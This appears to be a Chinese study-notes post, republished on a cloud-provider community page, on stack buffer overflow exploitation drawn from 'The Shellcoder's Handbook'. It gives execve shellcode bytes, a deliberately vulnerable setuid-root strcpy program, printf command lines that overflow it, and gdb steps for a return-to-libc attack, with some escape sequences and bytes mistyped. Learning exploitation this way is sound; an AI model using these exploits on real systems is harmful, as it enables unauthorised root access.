shellcode之二:簡述漏洞提權

來源:互聯網
上載者:User

聲明:主要內容來自《The Shellcoder's Handbook》,摘錄重點作為筆記並加上個人的一些理解,如有錯,請務必指出。

派生shell
這類溢出一般會被用來擷取根(uid 0)特權,我們可以攻擊以根提高權限執行的進程來達到這個目的。如果進程以根運行,我們可以通過溢出強制它執行shell,而這個shell將繼承根特權,我們也會因此而得到根shell。首先瞭解一下派生shell。
//file: shell.c#include <stdio.h>int main(){    char *name[2];    name[0] = "/bin/sh";    name[1] = 0x0;    execve(name[0], name, 0x0);    exit(0);}

編譯運行它,我們會看到程式派生了一個shell。在我的系統上(Debian/Etch)派生一個“sh-3.1$”的shell,該shell沒有根特權。當然沒有根特權的shell不是我們的目的。我將會更後面會講述拿根特權的shell的例子。這裡闡述更基本的原理。

在棧的緩衝區注入shellcode
我們只能向緩衝區插入機器指令opcode。為了把opcode插入緩衝區,必須把派生shell的c代碼編譯成彙編指令,然後從可讀的彙編指令中提取opcode。這些被稱為shellcode或opcode的代碼可以注入脆弱的緩衝區,並可以執行。

//file: shellcode.c//gcc -o shellcode shellcode.c -ggdb -mpreferred-stack-boundary=2#include <stdio.h>char shellcode[] = "/xeb/x1a/x5e/x31"                   "/xc0/x88/x46/x07"                   "/x8d/x1e/x89/x5e"                   "/x08/x89/x46/x0c"                   "/xb0/x0b/x89/xf3"                   "/x8d/x4e/x08/x8d"                   "/x56/x0c/xcd/x80"                   "/xe8/xe1/xff/xff"                   "/xff/x2f/x62/x69"                   "/x6e/x2f/x73/x68";                   int main(){    int *ret;    ret = (int *)&ret + 2;    (*ret) = (int)shellcode;}

其中數組shellcode儲存的就是派生shell的opcode,這裡先不管怎麼把c代碼翻譯為opcode。我們怎麼運行shellcode呢?其實所要做的與《棧溢出》中控制EIP差不多,改寫RET,儲存為shellcode的第一條指令的地址。這樣的話,當RET被彈出棧並被載入到EIP時,系統將執行的是shellcode的第一條指令。

那麼如何理解ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
這兩條指令就使得RET被改寫了呢?我們首先畫出棧的資料結構:

+---------------+ 低記憶體位址,棧頂|               |+---------------+|  局部變數ret  | &ret+---------------+|  EBP          | &ret + 1+---------------+|  RET          | &ret + 2+---------------+|               | +---------------+ 高記憶體位址,棧底

這樣就一目瞭然了,&ret + 2正是指向RET的地址。
地址問題
當使用者在命令列下提交shellcode時,並試圖讓它執行,所面臨的最困難的問題是找出shellcode的起始地址。
在記憶體中尋找shellcode的起始地址有很多方法,先說一下猜測法。每個程式的棧都以同樣的地址開始,事實上近來的作業系統帶有grsecurity補丁故意變化棧的地址,從而使這種類型的攻擊變得更困難。如果知道這個地址,那麼就應該可以根據這個地址猜測shellcode的起始地址。下面是一段尋找ESP位置的代碼,如果知道了ESP的地址,那麼可以猜測當前地址與shellcode之間的位移距離。

//file: find_esp.c#include <stdio.h>unsigned long find_esp(){    __asm__("movl %esp, %eax");}int main(){    printf("0x%x/n", find_esp());}
編譯運行,如果你的系統沒有grsecurity補丁的話,列印出來的esp的地址是一致的。如果不一致,在後面的章節解釋怎麼規避這種隨機結果。以下,假設啟動並執行是有一致棧指標地址的版本。(註:本人系統為Debian/Etch,應沒有打grsecurity補丁,但是運行find_esp返回的地址不是一致的,估計2.6Kernel作了某種規免。)
 
以一個簡單的程式練手,破解這個程式擷取根許可權。
//file: victim.c#include <stdio.h>int main(int argc, char *argv[]){    char little_arr[512];    if (argc > 1)        strcpy(little_arr, argv[1]);}
程式從命令列擷取輸入後,在沒有進行邊界檢查的情況下,把輸入資料複製到數組。為了擷取root許可權,先把目標程式的屬主設為root,再把suid位開啟。現在,以普通使用者的身份登陸系統,破解這個程式,最終擷取root特權
sep@debian66:~/shellcode$ sudo chown root victimsep@debian66:~/shellcode$ sudo chmod +s victim

接著可以在bash裡再次使用printf命令把shellcode放到程式的命令參數裡。首先要做的是在命令列字串找出改寫儲存的返回地址(RET)的位移量。在這個例子中,數組大小為512,我們知道這個位移量至少是512。

關於bash和命令代替的快速註解:可以通過在printf前面放一個$並用園括弧把它括起來的方式,把它的輸出作為命令列參數傳遞。如下:
./victim $(printf "foo")
可以讓printf輸出一長串零,如下:
printf "%020x" ;輸出20個'0'可用這個方法猜測RET在victim裡的位移量:

sep@debian66:~/shellcode$ ./victim $(printf "%0512x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0516x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0520x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0524x" 0)Segmentation faultsep@debian66:~/shellcode$ ./victim $(printf "%0528x" 0)Segmentation fault
從出段故障的長度資訊我們可以判定,儲存的返回地址的位移或許在命令列參數的524~528B之間。我們已經準備了shellcode,大致知道了RET可能在哪裡,繼續。
shellcode有40B。我們隨後填充480B或484B,然後就是儲存的返回地址。用find_esp找出程式的棧地址,這裡假設為0xbffffad8.那麼儲存的返回地址應當比0xbffffad8稍微小一點,因為棧在記憶體裡是向下增長的。

sep@debian66:~/shellcode$ ./victim $(printf "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46/x0c/xb/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68%0480x/xd8/xfa/xff/bf")Segmentation fault
當然不會那麼幸運一次成功的,前面部分是shellcode;%0480x是填充位元組;/xd8/xfa/xff/bf是被改寫的RET,指向shellcode的第一條指令地址(實際上就是數組little_arr起始地址),實際上要比/xd8/xfa/xff/bf稍小。這裡的重點就是要找到RET地址位移和shellcode起始地址(即little_arr起始地址)。這裡用猜測的方法來確定這個地址,詳細見原書P24。

NOP法
猜測位移量是比較麻煩的。如果設計shellcode時使得多個不同的位移量允許我們獲得控制,那麼也可以減少猜測時間。可選用NOP法來增加潛在的位移量數量。No Operations(NOP)是順延強制時間的指令,IA32用0x90表示NOP。為了提高命中率,用NOP填充shellcode的頭部,這樣只要猜測的地址位於NOP範圍之內,處理器在執行完NOP後,就會執行派生shell的shellcode。現在,再不必苛求我們猜到精確的位移量了。

返回libc越過不可執行棧
之前說的都是在棧上執行指令。但有些系統(如Solaris和OpenBSD)不允許在棧上執行代碼。當遇到這種不可執行棧時,可用“返回libc(Return to libc)”方法。
利用棧溢出的方法是把控制器交給棧上的指令,返回libc方法則是把控制權交給特定的動態庫函數。一般來說選定為libc。對於返回libc的破解方法,簡單起見,僅讓它派生shell。最好用的libc函數是system()。把/bin/sh作為sysytem()的參數,在系統執行system()後,就會得到一個shell。這樣不需要在棧上執行任何代碼,直接把控制權交給libc裡的system()函數則可。

首先執行call <func>,call把下一條指令的地址壓入棧,並將ESP減4。當func返回時,RET(或EIP)將被彈出棧,因而ESP直接指向RET之後的地址。
現在,執行流程應該重新導向到將要被執行的system()。func假設ESP已指嚮應該返回的地址,並想當然的認為所需的參數正在棧上等著它,而第一個參數位於RET之後。因此,把返回system()的地址和參數放到8位元組裡。當func返回時,系統將返回到system()。故我們需要確定:1、system()的地址;2、/bin/sh的地址;3、exit()的地址,以便乾淨退出被攻擊的程式。

反組譯碼任一個c/c++程式,基本都可以在libc裡發現system()的地址。

sep@debian66:~/shellcode$ gdb ./victimGNU gdb 6.4.90-debianCopyright (C) 2006 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) break mainBreakpoint 1 at 0x80483a2(gdb) runStarting program: /home/sep/shellcode/victim Breakpoint 1, 0x080483a2 in main ()(gdb) p system$1 = {<text variable, no debug info>} 0xb7eba990 <system> ;system()的地址(gdb) p exit$2 = {<text variable, no debug info>} 0xb7eb02e0 <exit>   ;exit()的地址(gdb) qThe program is running. Exit anyway? (y or n) ysep@debian66:~/shellcode$

最後用memfetch工具找出/bin/sh的地址。也可把/bin/sh儲存在環境變數裡,然後找到這個變數的地址。
實現步驟如下:
1、用垃圾資料填滿緩衝區與返回地址之間的空間;
2、用system()的地址改寫RET;
3、在RET後填上exit()的地址;
4、再填上/bin/sh的地址。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.